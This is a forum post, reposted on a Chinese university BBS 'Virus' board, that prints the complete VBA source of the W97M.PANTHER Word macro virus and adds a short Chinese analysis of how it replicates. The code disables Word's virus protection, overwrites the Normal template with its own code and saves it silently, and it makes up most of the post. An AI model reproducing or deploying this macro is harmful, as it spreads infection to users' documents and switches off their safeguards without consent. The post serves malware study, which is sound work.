● [转载] [转寄] W97M.PANTHER - 荔园在线 | 深圳大学学生论坛,荔园晨风BBS,深大在线网站

荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀

发信人: Mic (不要变,行不行), 信区: Virus
标  题: [转载] [转寄] W97M.PANTHER                           Cloudy
发信站: 荔园晨风BBS站 (Sat Jun  2 07:18:06 2001), 转信

【以下文字转载自 Mic 的信箱】
【原文由 smickey.bbs@argo.zsu.edu.cn 所发表】
发信人: Cloudy (无名), 信区: Virus
标  题: W97M.PANTHER
发信站: 逸仙时空 Yat-sen Channel (Fri Jun 23 17:45:10 2000), 站内信件

Private Sub Document_Open()
    Dim code As String
    If Left$(NormalTemplate.Name, 8) <> "Document" Then
        Options.VirusProtection = False
        With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
            code = .Lines(1, .CountOfLines)
            ReplaceTemplate code, "Normal", "Template", "Happy", "Panther"
            ReplaceTemplate code, "Active", "Document", "Normal", "Template"

            ReplaceTemplate code, "Happy", "Panther", "Active", "Document"
            With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
                .DeleteLines 1, .CountOfLines
                .AddFromString code
            End With
        End With
        Options.SaveNormalPrompt = False
        If InStr("NormalTemplate", "Document") > 0 Then
            NormalTemplate.Save
        End If
    End If
End Sub
Private Sub ReplaceTemplate(target As String, prepre As String, prepost As S
tring, postpre As String, postpost As String)
    Dim index As Long, pre As String, post As String, preLen As Long
    pre = prepre + prepost
    post = postpre + postpost
    index = 1
    preLen = Len(pre)
    While InStr(index, target, pre) <> 0
        index = InStr(index, target, pre)
        target = Left(target, index - 1) + post + Mid$(target, index + preLe
n)
        index = index + 1
    Wend
End Sub
W97M_PANTHER的说明：
    该病毒直接从染毒文档中取样而来，但是找不到破坏语句，也许
破坏部分就是删除MICROSOFT WORD对象代码区的其他代码（排斥该
区域的其他宏和病毒）。
    PANTHER频繁使用字符串操作语句实现病毒体复制。病毒体位置：
MICROSOFT WORD对象代码区。

--
※ 来源:．逸仙时空 Yat-sen Channel bbs.zsu.edu.cn．[FROM: 192.168.2.87]
--
※ 转寄:．逸仙时空 Yat-sen Channel bbs.zsu.edu.cn．[FROM: 210.39.3.50]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.28.108]

荔园在线首页友情链接：深圳大学深大招生荔园晨风BBS S-Term软件网络书店